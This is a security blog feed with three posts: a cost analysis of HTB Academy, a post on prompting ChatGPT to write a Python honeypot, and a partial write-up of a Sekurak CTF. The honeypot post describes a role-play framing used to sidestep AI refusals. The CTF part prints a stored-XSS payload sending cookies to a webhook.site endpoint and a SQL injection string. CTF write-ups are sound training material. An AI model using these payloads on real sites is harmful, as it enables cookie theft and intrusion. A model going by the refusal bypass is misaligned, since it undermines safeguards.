<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687092136701/9ed7d1d6-be7c-4431-86af-1c59937f9b19.png" alt class="image--center mx-auto" /></p>
<p>After you complete a module, you get the achievemnt-like popup and possiblity to share that completion details with others.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1687092304695/6b6f7602-f748-4f6e-be80-68537972a17a.png" alt class="image--center mx-auto" /></p>
<p>Personally, I really love that sense of accomplishment :)</p>
<h1 id="heading-silver-annular-cost-analysis">Silver Annular Cost Analysis</h1>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text"><a target="_blank" href="https://blog.cyberethical.me/go-htbacademy">Create your HTB Academy account here</a>. You can start without any subscribtion and purchases and upgrade later if needed. I encourage you to feel the platform before making any financial decision!</div>
</div>

<blockquote>
<p>Notice, that all prices are given <strong>without</strong> VAT. In my country I have to add 23%.</p>
</blockquote>
<p>Let's break it one by one.</p>
<ul>
<li><p>Tier 0: 21 modules x 10 = 210 cubes</p>
</li>
<li><p>Tier I: 10 modulesx x 50 = 500 cubes</p>
</li>
<li><p>Tier II: 9 modules x 100 = 900 cubes</p>
</li>
</ul>
<p>Each module completed gives 20% cubes back - with the exception of Tier 0 which gives 10 cubes back (full refund). So overall cost in cubes of all modules up to (including) Tier II is <strong>1120 cubes</strong> or circa <strong>£88</strong>.</p>
<p>Both <strong>HTB Certified Penetration Testing Specialist</strong> and <strong>HTB Certified Bug Bounty Hunter</strong> exam voucher cost <strong>£</strong>150 so "one exam voucher per year" totals to <strong>£238.</strong></p>
<p>Access to <strong>Bug Bounty Hunter</strong> path is covered in the previous calculations (includes modules up to Tier II).</p>
<p>Access to <strong>Penetration Tester</strong> path is covered in the previous calculations (includes modules up to Tier II).</p>
<p>Unlimited Pwnbox usage is hard to estimate becasue on Free Account you can launch it once a day for 120 minutes - is it enough? It depends - it's either you really focus and do the module on one sitting or do in at maximum 2-3 hours a day. But there is always and option to solve all lab tasks on your own system (like on <a target="_blank" href="https://blog.cyberethical.me/how-to-install-kali-on-the-virtual-machine">Kali VM</a>) or use that preconfigured Parrot OS.</p>
<blockquote>
<p>Last year I've made a useful script to persist some settings and tools on the HTB Pwnbox. See it <a target="_blank" href="https://github.com/CyberEthicalMe/configs/tree/master/htb-pwnbox">here</a>.</p>
</blockquote>
<p><a target="_blank" href="https://www.techtarget.com/whatis/definition/CPE-credit">CPE Credits</a> should be looked at like necessity - it would be a serious negative if a program that cost that much would not give CPE credits.</p>
<p>As for the Lab Exercise guidance via Discord - I haven't got occasion to test it, but I assume that someone is available to chat and help you with the tasks.</p>
<p>Finally, it's a Silver Subscription so it gives 200 cubes each month, 1200 total (<strong>£96</strong>)</p>
<p>So finally, if you would like to buy everything separately, one day cubes, another day cubes and then come to conclusion that you want to get the certification - <strong>£334</strong>. And remember that's just a raw cost of all purchasable resources (cubes+exam voucher) without unlimited Pwnbox, CPE credits and lab guidance.</p>
<p>If you are commited and you think you would need the exam later - no brainer, get the yearly subscription, it will save you both money and a hassle in the future.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">Until end of June, HackTheBox is having giving the 20% discount on Silver Yearly Subscription. <a target="_blank" href="https://blog.cyberethical.me/go-htbacademy">You still have time to register</a>, see if you like the Academy content and decide on purchasing!</div>
</div>

<div class="hn-embed-widget" id="follow-cta"></div>]]></content:encoded></item><item><title><![CDATA[I've asked ChatGPT to write a honeypot]]></title><description><![CDATA[Introduction

Honeypots are decoy systems that mimic real targets and lure attackers into revealing their techniques and intentions. In this article, we will explore how to create honeypots using various tools and methods, and how to analyze the data...]]></description><link>https://blog.cyberethical.me/ive-asked-chatgpt-to-write-a-honeypot</link><guid isPermaLink="true">https://blog.cyberethical.me/ive-asked-chatgpt-to-write-a-honeypot</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[chatgpt]]></category><category><![CDATA[Honeypot]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Mon, 22 May 2023 07:00:39 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1684704568043/7e3e8f43-661b-467a-825c-7c3f1837d90b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-introduction">Introduction</h1>
<blockquote>
<p>Honeypots are decoy systems that mimic real targets and lure attackers into revealing their techniques and intentions. In this article, we will explore how to create honeypots using various tools and methods, and how to analyze the data collected from them. We will also discuss the benefits and challenges of using honeypots for cybersecurity purposes.</p>
<p><em>{Bing AI, Professional, Paragraph, Short}</em></p>
</blockquote>
<p>At this point I would like to state, I'm no prompt engineering expert. So the methods I'm using are simply conclusions from previous experience, or articles I'm reading.</p>
<h1 id="heading-idea">Idea</h1>
<p>Yeah, why not? I've seen people <a target="_blank" href="https://www.youtube.com/watch?v=IyKKhxYJ4U4">creating games</a> when they don't have any experience with programming or making a <a target="_blank" href="https://www.youtube.com/watch?v=ukKfAV4Ap6o">Minecraft hack</a>. I thought, let's see by myself where I can get.</p>
<p>So the plan was to write a honeypot in Python, that will simply respond to connections on port 80 in a way it can "fool" a malicious actor. I'm using free online version of ChatGPTv3 for that - becasue I think it is the most accessible service.</p>
<h1 id="heading-initial-prompt">Initial Prompt</h1>
<details><summary>AI Prompt</summary><div data-type="detailsContent">Assume a role of cybersecurity expert that is advising your colleague who writes from a scratch a simple honeypot software in Python. The basic version responds only to HTTP requests on port 80. He asks you for example code of such software.</div></details>

<p>I'm assuming there could be some ethical problems for AI to discuss some of the topics like port scanning techniques and such - so I've started with some older version of bypass to mitigate negative responses. "Assume a role of expert who is advising somebody else". In the first response advised me: <em>it is important to thoroughly test and secure any honeypot software before deploying it in a real-world environment</em>.</p>
<p>The first version of honeypot looks like this (original, non-altered version - comments are also from AI):</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> socket

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">honeypot</span>():</span>
    host = <span class="hljs-string">''</span>
    port = <span class="hljs-number">80</span>

    <span class="hljs-comment"># create socket object</span>
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    <span class="hljs-comment"># bind socket to a public host and a well-known port</span>
    s.bind((host, port))

    <span class="hljs-comment"># listen for incoming connections</span>
    s.listen(<span class="hljs-number">5</span>)

    print(<span class="hljs-string">'Listening on port'</span>, port)

    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        <span class="hljs-comment"># establish connection with client</span>
        conn, addr = s.accept()

        <span class="hljs-comment"># log the connection</span>
        print(<span class="hljs-string">'Received connection from'</span>, addr)

        <span class="hljs-comment"># send a fake HTTP response</span>
        response = <span class="hljs-string">'HTTP/1.1 200 OK\r\nContent-Length: 20\r\n\r\n&lt;Honeypot response&gt;'</span>
        conn.sendall(response.encode())

        <span class="hljs-comment"># close the connection</span>
        conn.close()

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
    honeypot()
</code></pre>
<p>To be honest, it does its work. I had a question about what <code>s.listen(5)</code> means, which was answered in details.</p>
<h1 id="heading-improvements">Improvements</h1>
<div class="hn-embed-widget" id="join-cta"></div><p> </p>
<p>After that, I introduced some suggestions and more questions, for example, I wanted that:</p>
<ul>
<li><p>Content-Length to be calculated dynamically,</p>
</li>
<li><p>string interpolation was used instead of <code>format()</code> ,</p>
</li>
<li><p>get more information about the client from incoming connection,</p>
</li>
<li><p>log the information in the file in a way I can later use the data to analyze it.</p>
</li>
</ul>
<p>Before I concluded my work I asked ChatGPT if there are any security vulnerabilities that I should address before I start using it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684678620454/3a3855c0-ef21-4b36-b650-7be1d1099165.png" alt class="image--center mx-auto" /></p>
<p>If you think about it - some of these hints are not making sense in honeypot - like filtering incoming connections or implementing authentication mechanisms.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684678700705/32ed3d0b-47e4-44ba-ae13-ebae39af5943.png" alt class="image--center mx-auto" /></p>
<p>So well, it's got a good point that honeypots could be used as a proxy or could act as an entrypoint for the internal network.</p>
<h1 id="heading-implementation">Implementation</h1>
<p>Finally I've ended with following code</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> socket
<span class="hljs-keyword">import</span> datetime

HOST = <span class="hljs-string">''</span>  <span class="hljs-comment"># Empty string means bind to all available interfaces</span>
PORT = <span class="hljs-number">80</span>  <span class="hljs-comment"># Port to listen on</span>

<span class="hljs-comment"># Create a socket object</span>
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

<span class="hljs-comment"># Bind the socket to a public host and port</span>
s.bind((HOST, PORT))

<span class="hljs-comment"># Set the socket to listening mode with a maximum backlog of connections</span>
s.listen(<span class="hljs-number">5</span>)

print(<span class="hljs-string">f'Honeypot is listening on <span class="hljs-subst">{HOST}</span>:<span class="hljs-subst">{PORT}</span>'</span>)

<span class="hljs-comment"># Open the log file for writing</span>
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'honeypot.log'</span>, <span class="hljs-string">'a'</span>) <span class="hljs-keyword">as</span> f:

    <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
        <span class="hljs-comment"># Wait for a connection</span>
        conn, addr = s.accept()

        <span class="hljs-comment"># Log the connection</span>
        current_time = datetime.datetime.now()
        print(<span class="hljs-string">f'Received connection from <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span> at <span class="hljs-subst">{current_time}</span>'</span>)
        f.write(<span class="hljs-string">f'<span class="hljs-subst">{current_time}</span>, connection from <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span>\n'</span>)

        <span class="hljs-comment"># Receive the data in small chunks and retransmit it</span>
        data = <span class="hljs-string">b''</span>
        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">while</span> <span class="hljs-literal">True</span>:
                chunk = conn.recv(<span class="hljs-number">1024</span>)
                <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> chunk:
                    <span class="hljs-keyword">break</span>
                data += chunk

                <span class="hljs-comment"># Check if the data size is too large</span>
                <span class="hljs-keyword">if</span> len(data) &gt; <span class="hljs-number">1024</span>*<span class="hljs-number">1024</span>:
                    print(<span class="hljs-string">f'Data from <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span> is too large, closing connection.'</span>)
                    f.write(<span class="hljs-string">f'<span class="hljs-subst">{current_time}</span>, data from <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span> is too large, closing connection\n'</span>)
                    conn.close()
                    <span class="hljs-keyword">break</span>

            <span class="hljs-comment"># Send the response with a custom banner</span>
            response = <span class="hljs-string">b'HTTP/1.1 200 OK\r\n'</span>
            response += <span class="hljs-string">b'Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8g\r\n'</span>
            response += <span class="hljs-string">b'Content-Type: text/html\r\n'</span>
            response += <span class="hljs-string">b'Content-Length: 20\r\n'</span>
            response += <span class="hljs-string">b'\r\n'</span>
            response += <span class="hljs-string">b'This is not the web page you are looking for.'</span>

            conn.sendall(response)

        <span class="hljs-keyword">except</span> (socket.error, ConnectionResetError):
            print(<span class="hljs-string">f'Error receiving data from <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span>, closing connection.'</span>)
            f.write(<span class="hljs-string">f'<span class="hljs-subst">{current_time}</span>, error receiving data from <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span>, closing connection\n'</span>)

        <span class="hljs-keyword">except</span> socket.timeout:
            print(<span class="hljs-string">f'Timeout error occurred when sending response to <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span>, closing connection.'</span>)
            f.write(<span class="hljs-string">f'<span class="hljs-subst">{current_time}</span>, timeout error when sending response to <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span>, closing connection\n'</span>)

        <span class="hljs-keyword">finally</span>:
            <span class="hljs-comment"># Log the request</span>
            f.write(<span class="hljs-string">f'<span class="hljs-subst">{current_time}</span>, request from <span class="hljs-subst">{addr[<span class="hljs-number">0</span>]}</span>:<span class="hljs-subst">{addr[<span class="hljs-number">1</span>]}</span>, data: <span class="hljs-subst">{data.decode(<span class="hljs-string">"utf-8"</span>, <span class="hljs-string">"ignore"</span>)}</span>\n'</span>)
            <span class="hljs-comment"># Close the connection</span>
            conn.close()
</code></pre>
<h1 id="heading-tests">Tests</h1>
<p>First, I've tried a simple <code>curl</code>. It worked.. partially. For some reason, <code>curl</code> hanged. But I've ignored that issue and launched the <code>nmap -sV -sC -p80 localhost -vvv</code> scan. Interestingly, it was completed in a little below 4 minutes. So that simple program can slow down attackers to 4 minutes on a single port 80! Well, that's quite amazing. Interestingly, because we are logging each request in the file - I can see what <code>nmap</code> is doing behind the scenes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684680405449/65f4858a-204d-4509-9d7d-661883ae97df.png" alt class="image--center mx-auto" /></p>
<p>The results of the scan are inconclusive.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684703023638/4da41569-bcf1-476c-81f7-5a3b20649ee1.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>Did it work? Yeah, I must say it works pretty well for the untargeted scans. It's far too little tests done, but I wanted mainly to check how it will handle such a specific task - and how would such honeypot perform under <code>nmap</code> scan.</p>
<p>There is still a lot of work to do, to make it more robust, add some more services, improve logging.</p>
<h2 id="heading-resources">Resources</h2>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=IyKKhxYJ4U4">Using AI To Build A Game From Scratch (NO Experience) | Matt Wolfe</a></p>
</li>
<li><p><a target="_blank" href="https://www.youtube.com/watch?v=ukKfAV4Ap6o">Can AI Create a Minecraft Hack? | LiveOverflow</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/paralax/awesome-honeypots">Extensive list of honeypots software</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Mega Sekurak Hacking Party CTF May 2023]]></title><description><![CDATA[Background
This was my second participation in a CTF event organized by Sekurak team. As before, being part of the MSHP event, it gathered around real pros in the field - but also this time due to Into path addition, challenges were adjusted towards ...]]></description><link>https://blog.cyberethical.me/mega-sekurak-hacking-party-ctf-may-2023</link><guid isPermaLink="true">https://blog.cyberethical.me/mega-sekurak-hacking-party-ctf-may-2023</guid><category><![CDATA[Write Up]]></category><category><![CDATA[CTF]]></category><category><![CDATA[#cybersecurity]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Sun, 21 May 2023 22:01:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1684666032369/9c7d658f-b64e-4ed4-90bd-32de4c680c8d.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-background">Background</h1>
<p>This was my <a target="_blank" href="https://blog.cyberethical.me/mega-sekurak-hacking-party-ctf-solutions">second</a> participation in a CTF event organized by <a target="_blank" href="https://sekurak.pl/">Sekurak</a> team. As before, being part of the <a target="_blank" href="https://hackingparty.pl/">MSHP</a> event, it gathered around real pros in the field - but also this time due to Into path addition, challenges were adjusted towards people starting doing this kind of activity.</p>
<p>Not gonna lie, challenges were <strong>way more</strong> approachable than last time - and I remind you that Oct 2022 was dominated by <a target="_blank" href="https://gynvael.coldwind.pl/">gynvael</a> who was the only one who submitted all flags.</p>
<p>The organizers said, "beginner friendly, with a twist". And one of those twists took me away from the top 10 😅. I hate DOM-based XSS challenges.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684652170987/66af5963-1bf6-45ba-91c1-5ff7a268c632.png" alt class="image--center mx-auto" /></p>
<p>Why the "honorable" mention? Gynvael decided to not participate in the event (he submitted 5/9 flags in the first 25 minutes of the event) to not take the money price from others. And maybe what's more important, because we had design flaws in challenges 1 and 7 - he helped resolve them so we can all complete them during this CTF.</p>
<p>And yeah, that's me:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684652404301/0b7d318c-feee-4751-b52e-cb406ddf2d54.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-1-my-guestbook">Challenge 1: my guestbook</h1>
<blockquote>
<p>Someone wrongly implemented a security mechanism of cookies. Try to receive it, and then... see what needs to be done.<br />UPDATE:<br />Admin logs in every full hour! Also, there is also new hint!</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684652461147/e54ae7f7-0525-44c9-add4-dabf695b0136.png" alt class="image--center mx-auto" /></p>
<p>Simple submit form with no validation at all. From the hint in the challenge description, it is clear that you have to perform a Stored XSS attack that will send the admin cookies to the endpoint you control (or at least can read incoming requests from). If you want to read in detail about that method, please refer to the <a target="_blank" href="https://blog.cyberethical.me/htb-cyber-santa-ctf-2021-toy-workshop">Toy Workshop writeup</a>.</p>
<p>Because server that is running a challenge has access to the Internet, it was easier this time because I could use a <a target="_blank" href="https://webhook.site/">webhook.site</a> service.</p>
<p>I've determined that only thing I have to do is to make a POST request to `<a target="_blank" href="http://ctf.securitum.ninja/ctf1/">http://ctf.securitum.ninja/ctf1/</a>` and just wait for the cookies (with flag) to arrive.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">var</span> q = <span class="hljs-string">"&lt;script&gt;fetch('https://webhook.site/76ed31cc-0a98-47e5-8186-****f345****/flag', {method:'POST', body: document.cookie});&lt;/script&gt;"</span>;

fetch(<span class="hljs-string">"http://ctf.securitum.ninja/ctf1/"</span>, {
  <span class="hljs-string">"headers"</span>: {
    <span class="hljs-string">"content-type"</span>: <span class="hljs-string">"application/x-www-form-urlencoded"</span>,
  },
  <span class="hljs-string">"body"</span>: <span class="hljs-string">"message="</span>+q,
  <span class="hljs-string">"method"</span>: <span class="hljs-string">"POST"</span>
});
</code></pre>
<p>In the meantime, I started solving other challenges. When the time comes, I've noticed a matching response.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684655779503/08aab268-49f8-4fb0-a861-6ca98b9ebaee.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>During the CTF organizer come to realization that the solution is a bit too complicated for this kind of event (no solves), so he made a change skipping the "one" step in decyphering the flag. Final version of the challenge is described here.</p>
<p>The initial one with more details regarding the fun backstory is at the end of the article :).</p>
</blockquote>
<p><code>flag=MSHP_%7BU0d3UD03WkAmakpjVnoj%7D; msg=Oh_WaiT_TheRe_iS_some_ncryption_Here</code></p>
<p>After a simple URL decoding: <code>MSHP_{U0d3UD03WkAmakpjVnoj}</code>. That didn't work so I've tried decoding it from base64 and that was a hit.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684656262407/ee95f90d-0ac2-407a-ba38-eb842015f1db.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-2-login-inject0r">Challenge 2: login inject0r</h1>
<blockquote>
<p>Do you remember the good 0l' days where noone knew about UNION SELECT or TIME statements? Get back to r00ts with this twisted easy SQL injection.</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684656952892/a3153b6c-acd2-42cc-82f3-987ef1657fe1.png" alt class="image--center mx-auto" /></p>
<p>Basic SQL Injection - with a twist, becasue</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684657024076/9dd52763-c352-4a19-9074-f83fa0e50824.png" alt class="image--center mx-auto" /></p>
<p>and Adam apparently did exactly what he was told to do. Injection <code>' or 1=1 --</code> doesn't work, but <code>' OR 2=2 --</code> is 😉.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684657108339/80aa390c-170e-4511-8afe-db2d2bc1cf4d.png" alt class="image--center mx-auto" /></p>
<p>Then simply reversing the string in python <code>'}1#7m+UvR8Wr*g6@{_PHSM'[::-1]</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684657248726/0364b393-4802-4072-9a64-f717c02230f0.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-3-steganobusterpy">Challenge 3: steganoBuster.py</h1>
<blockquote>
<p>Find the hidden message in pic. But how? I don't know, maybe this server is not about steganography?</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684657379980/f64de0bc-f442-40a9-8a95-38469b7f070e.png" alt class="image--center mx-auto" /></p>
<p>Steganography. I love forensics challenges so I got right to it. Downloaded the gigachad-like cock version of Sekurak logo. Then in the source of the page:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684657474171/888e31b7-a9af-410d-92d2-f9c39c77cc3f.png" alt class="image--center mx-auto" /></p>
<p>And the <code>email.html</code> itself</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684657493122/d59b4947-580c-4e87-aa48-295e2f9f1f30.png" alt class="image--center mx-auto" /></p>
<p>We've got the Python code that was used to hide a message in the image. Shortly describing what the code does:</p>
<ol>
<li><p>Decode the message to binary representation (each char to int, then to binary)</p>
</li>
<li><p>Reads the image pixels' RBG values column by column.</p>
</li>
<li><p>For each R, G, B value encode single bit of message.</p>
</li>
<li><p>End when message is fully written.</p>
</li>
<li><p>Write image output to file.</p>
</li>
</ol>
<p>The key to notice was: what hiding algorithm does is literally zeroing the last bit of R/G/B value and setting it to the value we need (nth bit of encoded flag).</p>
<p>So knowing that, we can read the message simply be reading the last bits of RGB values of the <code>out.png</code> pixels.</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">image_path, maxMessageSize</span>):</span>
    maxMessageSize *= <span class="hljs-number">8</span>
    bits = []
    msg_index = <span class="hljs-number">0</span>
    img = Image.open(image_path)
    pixels = img.load()
    <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> range(img.width):
        <span class="hljs-keyword">for</span> y <span class="hljs-keyword">in</span> range(img.height):
            <span class="hljs-comment"># get RGB of pixel</span>
            pixel = list(pixels[x, y])
            <span class="hljs-keyword">for</span> n <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>):
                <span class="hljs-keyword">if</span> msg_index &lt; maxMessageSize:
                    <span class="hljs-comment"># get the flag bit and store</span>
                    bits.append(str(pixel[n] &amp; <span class="hljs-number">1</span>))
                    msg_index += <span class="hljs-number">1</span>
            <span class="hljs-keyword">if</span> msg_index &gt;= maxMessageSize:
                <span class="hljs-keyword">break</span>
        <span class="hljs-keyword">if</span> msg_index &gt;= maxMessageSize:
            <span class="hljs-keyword">break</span>
    bitsString = <span class="hljs-string">''</span>.join(bits)
    print(bitsString);
</code></pre>
<p>Slap output to the <a target="_blank" href="https://gchq.github.io/CyberChef/">CyberChef</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684658080634/94b34c0b-30dc-44c5-8caa-342209d8d7c8.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684658118875/d55c2a6c-327b-4d6a-93f3-178456b3d91b.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-4-dollarreverseme-harry">Challenge 4: $reverseme, harry</h1>
<blockquote>
<p>"He Who Must Not Be Xored" is ummaterialized! If you want him to regain his strength, you must obtain his soul parts and try to figure out the mystery_key.</p>
</blockquote>
<p>First, we had to acquire the binary <code>wget http://ctf.securitum.ninja/ctf4/new</code> and do some fingerprinting.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684658315399/90efa486-ff59-4c40-b424-9f698692130f.png" alt class="image--center mx-auto" /></p>
<p>On the bottom we can see some base64 encoded strings. Let's fire up <a target="_blank" href="https://ghidra-sre.org/">ghidra</a> (there is a very informative material how to use this tool - link in the resources below).</p>
<p>When inspecting the content of the <code>main</code> function we can discover where the flag is hidden.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684658453793/4ec18023-b8c9-457c-9325-fba8b65e5c42.png" alt class="image--center mx-auto" /></p>
<p>So either we can figure out the "key" to have that flag given by the program - or we decode the flag ourselves. I have chosen the latter approach.</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/python</span>
<span class="hljs-keyword">import</span> base64

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xor_encrypt</span>(<span class="hljs-params">str1, key</span>):</span>
    enc = <span class="hljs-string">''</span>
    i=<span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> str1:
        enc += chr(c ^ ord(key[i%len(key)]))
        i=i+<span class="hljs-number">1</span>
    <span class="hljs-keyword">return</span> enc


<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    bcode = <span class="hljs-string">"ICo7JDoJTzkKO0AdMFAQM1c9JRIKBA=="</span>
    print(xor_encrypt(base64.b64decode(bcode), <span class="hljs-string">"mystery_key"</span>))
</code></pre>
<p>It does the same thing that is done in the original program - it XORs the <code>"mystery_key"</code> string with the decoded base64 bytes of flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684658689666/479160d9-7ca2-4b6b-af8a-7247c74bf79e.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-5-captain-forensics">Challenge 5: captain forensics</h1>
<blockquote>
<p>A twin suspicious network packets were captured during a recent incident. Your task is to analyze the packet capture file and retrieve the secret xormunnication!</p>
</blockquote>
<p>Download the <code>*.pcap</code> file and open it in the Wireshark. Quick glance through the packets and I can find those 2 that are outstanding from others. Notice that Wireshark already marking them as corrupted/suspicious.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684658810197/75887f02-d1a7-40f7-9eba-93c85053ef6f.png" alt class="image--center mx-auto" /></p>
<p>These are DNS packets. If you've heard about <a target="_blank" href="https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/">DNS Data Exfiltration</a> this should already lit the warning light. In the first packet you can read "Key is 0x42". In the second packet, there is a binary content hidden where <code>DNS (query)</code> should be.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659113705/2ee277f7-e0c5-4850-8c77-5c0de8de0a3a.png" alt class="image--center mx-auto" /></p>
<p>Because in the challenge description you can read about "xormunnication" I'm using all that information to XOR bytes from second packet through <code>0x42</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659193534/717ea338-dd1a-4004-ac21-bf7323707eb9.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659219242/a8059fb7-e56a-4545-9e9e-e38009d97b65.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-6-cryptoxxe">Challenge 6: crypto.xxe</h1>
<blockquote>
<p>A cryptographic challenge? Meh, just take the /tmp/flag and then what?</p>
</blockquote>
<p>Well, this one is weird, but when you go to the challenge page you got <code>HTTP405</code> error.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659284169/f9356f57-0978-4405-8d93-b2d9027cdf24.png" alt class="image--center mx-auto" /></p>
<p>But in <code>Allow</code> response header you can see that <code>POST</code> is allowed.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659349299/21d5d849-eb90-41fd-8c7e-9d8b6314aad7.png" alt class="image--center mx-auto" /></p>
<p>So you could get a flag by simply sending <code>POST</code> request under the given URL. Notice that I haven't have to use the <code>/tmp/flag</code> for that.. Which bothers me - but hey, as long as it works.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659398421/93e57f87-3c8b-40c7-a6db-fe8e6b2393a1.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659405276/70a94205-4050-4551-bb01-7ca1892278de.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659470904/d766751b-9d91-4733-94c7-29c7604b05be.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-challenge-7-now-thats-xxs">Challenge 7: now that's xxs!</h1>
<blockquote>
<p>This page is somehow broken. Where's the ?payload?<br />UPDATE:<br />If you see a base64 - you are on a right track</p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684659800921/bedb5d70-2286-493d-848f-caeafb5f6d70.png" alt class="image--center mx-auto" /></p>
<p>Just, don't get me even started... 🥲 This was solvable from the start - but required an exact payload. After the update, it was more forgiving but got significantly more annoying because it started granting you responses like "Alert me!" (when you clearly have an alert in the payload), or "Something is missing" (duh, if the payload were complete I'd have the flag, right?) or "I don't like this tag" (I don't care and I'm not even having any tag there..). Thank you, <strong>gynvael</strong> 👹 (he was the author of these adjustments to the challenge).</p>
<p>But coming back to the challenge itself. In the page source you can see a hidden form</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1684660248184/91efb17a-4a23-43d3-bacb-14be8b0bc75d.png" alt class="image--center mx-auto" /></p>
